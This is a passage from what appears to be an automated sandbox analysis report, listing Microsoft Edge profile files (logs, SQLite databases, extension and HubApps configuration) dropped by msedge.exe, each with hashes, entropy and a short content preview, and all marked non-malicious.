Preview:	2024/11/19-12:00:34.609 bd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-12:00:34.609 bd8 Recovering log #3.2024/11/19-12:00:34.609 bd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.228182389728393
Encrypted:	false
SSDEEP:	6:HUwWns+q2PCHhJ23oH+TcwtnG2tMsIFUt8YUwWnsZmw+YUwWnsVkwOCHhJ23oH+V:unxvBYebn9GFUt8/ns/+/nM56Yebn95J
MD5:	622563DB5A2CDA6859E7EE2926AA9FB9
SHA1:	D70D011C01E8957C8D23A05E74FDFDF329E5A6A5
SHA-256:	8F79E389303895253A0A8567F8F613286A7E9DACA836DF7B87A4BF0F419379ED
SHA-512:	6CDE0409DA50A009296B81459FF47AC1F8534E4CB3F468A188D34F71703858EAB99430D1C7F91E14636F76645C12C258BCC74196E34CA4FBE7679AFB70C96302
Malicious:	false
Preview:	2024/11/19-12:00:34.609 bd8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/19-12:00:34.609 bd8 Recovering log #3.2024/11/19-12:00:34.609 bd8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6133746302255676
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jDapVS4mL:TO8D4jJ/6Up+x
MD5:	9FE4AFA2BF7116B9289CE635596CA25D
SHA1:	9F55DE1655D57B7936DAF6391D5656F5BB488EB7
SHA-256:	9B0C3C11F1F562B309F11A75F3C3420874214A99E3829DD9068F6D16D201F16D
SHA-512:	CC9A751491F5C6B78A82410D7C11090D9A8D8AD8FD043C9D1A10ABD754D181A29785A2167B342CD96B71900B8B1411BBCD446FC3D3F843F995ADCED0D4875F2D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354122786519076
Encrypted:	false
SSDEEP:	6144:dA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:dFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	975DC9D1C03081D43F37EB9C5306CFA2
SHA1:	A3A4083D5CB78270AFEFF2A25C77A3C055D599FB
SHA-256:	F358F601CC02A4BFE36C4F50458F02E7E9A04ECEBD35CDF4D8EBA8953BC9E453
SHA-512:	E4C57C97454E4AA291D27FB1B43792105C2127230B2E60A0DC0D10BA324DD829B14DC6BA2E7F10D2B96B05AD046DE9D01D12F00F30DE0AA49D7264285AD03E1C
Malicious:	false
Preview:	...m.................DB_VERSION.1.?..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376509241994547..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.153843340359974
Encrypted:	false
SSDEEP:	6:HUwi81CHhJ23oH+Tcwtk2WwnvB2KLlVUw5OMM+q2PCHhJ23oH+Tcwtk2WwnvIFUv:rYebkxwnvFLJOMM+vBYebkxwnQFUv
MD5:	812DA54E77A2CA9E47D730C82D1A1A9F
SHA1:	A6574B86FD0167C97152A4751BA16E3903C9B31D
SHA-256:	FF4C9987755638D8FC186E45116F9337BC5725E77AC0685010F1E2E278FA47A2
SHA-512:	14CDD63904F23C012B5BF9AB140442D71A90D6B46A5F8CECBA3FA38C81B1980D4B0D5C19F022B4FC1BB5FB8DBB0B92FE03A75E8F4C55BCA5C721D3FCF153095D
Malicious:	false
Preview:	2024/11/19-12:00:40.229 226c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/19-12:00:40.330 226c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324613495024979
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rh:C1gAg1zfvp
MD5:	66BD5B3CFF9C853DE3A0CF14953835F5
SHA1:	A2B46DF9FE88CF40ACEF5DC789354A26F7DF20B6
SHA-256:	054B9B2E9E4B2DE25A6972E6AA8FEB878E5E5055A7ABECFCB09A3681456D05E8
SHA-512:	C081687F4469BAC65CB4FCCD257362B8172BF6ABA2A552580B0E8E45F452773E6F99D08E45E55B641A1708B2255D394A04B877E7379F0332C10EF012A4124B66
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.205880795220643
Encrypted:	false
SSDEEP:	6:HUwW48q2PCHhJ23oH+Tcwt8aPrqIFUt8YUwWn6T9Zmw+YUwWn6TPkwOCHhJ23oHj:u48vBYebL3FUt8/n49/+/n4P56YebQJ
MD5:	61ED3B8A68D883161D6CA2B919F25B63
SHA1:	42EEA3271C35AB5773B7C1AA87706BC8D828447D
SHA-256:	03EA6291A2A5C6904D143C545A27EEA9B66FF11270263375E4BD85AF1D530859
SHA-512:	94261B584EB2CE20E7F7D0CABF76FA0C68368B37BAE76E84E5F80AA2263EB8220901641E70AFEEA37489E1521D2ED5853D1B5021E38D2F49410726DA869D75ED
Malicious:	false
Preview:	2024/11/19-12:00:34.597 1164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-12:00:34.607 1164 Recovering log #3.2024/11/19-12:00:34.607 1164 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.205880795220643
Encrypted:	false
SSDEEP:	6:HUwW48q2PCHhJ23oH+Tcwt8aPrqIFUt8YUwWn6T9Zmw+YUwWn6TPkwOCHhJ23oHj:u48vBYebL3FUt8/n49/+/n4P56YebQJ
MD5:	61ED3B8A68D883161D6CA2B919F25B63
SHA1:	42EEA3271C35AB5773B7C1AA87706BC8D828447D
SHA-256:	03EA6291A2A5C6904D143C545A27EEA9B66FF11270263375E4BD85AF1D530859
SHA-512:	94261B584EB2CE20E7F7D0CABF76FA0C68368B37BAE76E84E5F80AA2263EB8220901641E70AFEEA37489E1521D2ED5853D1B5021E38D2F49410726DA869D75ED
Malicious:	false
Preview:	2024/11/19-12:00:34.597 1164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/19-12:00:34.607 1164 Recovering log #3.2024/11/19-12:00:34.607 1164 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.171669197396975
Encrypted:	false
SSDEEP:	6:HUwWnUaq2PCHhJ23oH+Tcwt865IFUt8YUwWnUhZmw+YUwWnU7kwOCHhJ23oH+Tc4:un9vBYeb/WFUt8/nW/+/nq56Yeb/+SJ
MD5:	308B179E94A6D2F775235D99C1646D38
SHA1:	B7C9A5DA1BABC4C8797379C66FEB2D6B08941516
SHA-256:	A4D2711A93A3E5FB8127C101A62FD97124721A49FEC643DB12818F97CA3F9A59
SHA-512:	6DD12C0E39883525CE537705052176565217852C5BF4D209B49627450982FE723F75C4547CFA2C5D34B7B865FDD9423E6FFAD072F5A5AC89C7E87A2FE8623169
Malicious:	false
Preview:	2024/11/19-12:00:34.614 1164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-12:00:34.616 1164 Recovering log #3.2024/11/19-12:00:34.616 1164 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.171669197396975
Encrypted:	false
SSDEEP:	6:HUwWnUaq2PCHhJ23oH+Tcwt865IFUt8YUwWnUhZmw+YUwWnU7kwOCHhJ23oH+Tc4:un9vBYeb/WFUt8/nW/+/nq56Yeb/+SJ
MD5:	308B179E94A6D2F775235D99C1646D38
SHA1:	B7C9A5DA1BABC4C8797379C66FEB2D6B08941516
SHA-256:	A4D2711A93A3E5FB8127C101A62FD97124721A49FEC643DB12818F97CA3F9A59
SHA-512:	6DD12C0E39883525CE537705052176565217852C5BF4D209B49627450982FE723F75C4547CFA2C5D34B7B865FDD9423E6FFAD072F5A5AC89C7E87A2FE8623169
Malicious:	false
Preview:	2024/11/19-12:00:34.614 1164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/19-12:00:34.616 1164 Recovering log #3.2024/11/19-12:00:34.616 1164 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.185266086140934
Encrypted:	false
SSDEEP:	6:HUwbjFN+q2PCHhJ23oH+Tcwt8NIFUt8YUwbJPWZmw+YUwbJKVkwOCHhJ23oH+TcN:lN+vBYebpFUt8OPW/+OKV56YebqJ
MD5:	DC61A444A4AC8B6714BB318D89DE9996
SHA1:	25ADD67250EE83966B74A51CC8397BD86CB353EE
SHA-256:	28BCC1ED23E8FFE8B7C72B121628D9E4E3CD087711FB8FE2A71F656607F8CC57
SHA-512:	21E552E8F614B3B539AF75A7B1D954FDB07BD3DA026990B4A098B325C31298AE0664FDC3975040365D78136935AB92F343DD4852962A688DC56B4780B35D055E
Malicious:	false
Preview:	2024/11/19-12:00:35.340 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-12:00:35.341 18cc Recovering log #3.2024/11/19-12:00:35.341 18cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.185266086140934
Encrypted:	false
SSDEEP:	6:HUwbjFN+q2PCHhJ23oH+Tcwt8NIFUt8YUwbJPWZmw+YUwbJKVkwOCHhJ23oH+TcN:lN+vBYebpFUt8OPW/+OKV56YebqJ
MD5:	DC61A444A4AC8B6714BB318D89DE9996
SHA1:	25ADD67250EE83966B74A51CC8397BD86CB353EE
SHA-256:	28BCC1ED23E8FFE8B7C72B121628D9E4E3CD087711FB8FE2A71F656607F8CC57
SHA-512:	21E552E8F614B3B539AF75A7B1D954FDB07BD3DA026990B4A098B325C31298AE0664FDC3975040365D78136935AB92F343DD4852962A688DC56B4780B35D055E
Malicious:	false
Preview:	2024/11/19-12:00:35.340 18cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/19-12:00:35.341 18cc Recovering log #3.2024/11/19-12:00:35.341 18cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:hCL/ntFlljq7A/mhWJFuQ3yy7IOWUw94/dweytllrE9SFcTp4AGbNCV9RUIHn:Gk75fOG94/d0Xi99pEYhn
MD5:	B4CD02877F59487BF510601F17951A3B
SHA1:	BBC2178AFA1B232FCAEF76B6B0EF2AA110B1066D
SHA-256:	C1C9A963053FE6765F1242507A7F6ACAECD0EC7F6F741761EB097741972FD23A
SHA-512:	9081E55FACEBF392629A2D83AC4ED8A49841BD1707824FF2D3FB0D1A66DBA3569D558C253ACC75C7C02E9F7D3718BE70BE3042C2606B6EE0D1E4891FBA44A591
Malicious:	false
Preview:	.............Ug....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6477341461004906
Encrypted:	false
SSDEEP:	384:aj9P0cQkQerpP/Kbtmgam6Ic773pLgjl7hlcERKToaAu:adxe2pP/Ys7kl7AERKcC
MD5:	60EF529A390868D5BE1F112E8E4EAA16
SHA1:	C104E4555C1A078A551942EAD3B0DFDA885F6830
SHA-256:	3B99FCEC952FA17D981AE53B099037128D337ED6D7AFCB6A690BF5A5378F1F40
SHA-512:	E230B4CA2CD8868B5E4C6030CB03B2B3E7FC66BB781B4A32F7FE3AD0C36454A65F7EC10387F3F90D6548F5375BEED9CC151E6EEDC800DC9727C4F69D7F32DEFE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.322708096318665
Encrypted:	false
SSDEEP:	12:5CvBYeb8rcHEZrELFUt8aY/+aA56Yeb8rcHEZrEZSJ:5IBYeb8nZrExg8acq6Yeb8nZrEZe
MD5:	F1927DDDE74085047407728D1499ACC0
SHA1:	F36BC52538596AC03C3156C57C23BFA62994AC61
SHA-256:	D6CE4C6CD4A7A9357D6B8EA40E15DD0A270EF5811107803FEE628D784CCD372F
SHA-512:	B8B59F0643B2E2A57D8BF69E4CA4A290511F4DD6DD437D9F81647F3AB846DAD71CE3854107DA939BCFF6921E12A96FC2D3C589A14A2D67F4E3596F02015A32C6
Malicious:	false
Preview:	2024/11/19-12:00:37.794 1164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/19-12:00:37.795 1164 Recovering log #3.2024/11/19-12:00:37.795 1164 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.322708096318665
Encrypted:	false
SSDEEP:	12:5CvBYeb8rcHEZrELFUt8aY/+aA56Yeb8rcHEZrEZSJ:5IBYeb8nZrExg8acq6Yeb8nZrEZe
MD5:	F1927DDDE74085047407728D1499ACC0
SHA1:	F36BC52538596AC03C3156C57C23BFA62994AC61
SHA-256:	D6CE4C6CD4A7A9357D6B8EA40E15DD0A270EF5811107803FEE628D784CCD372F
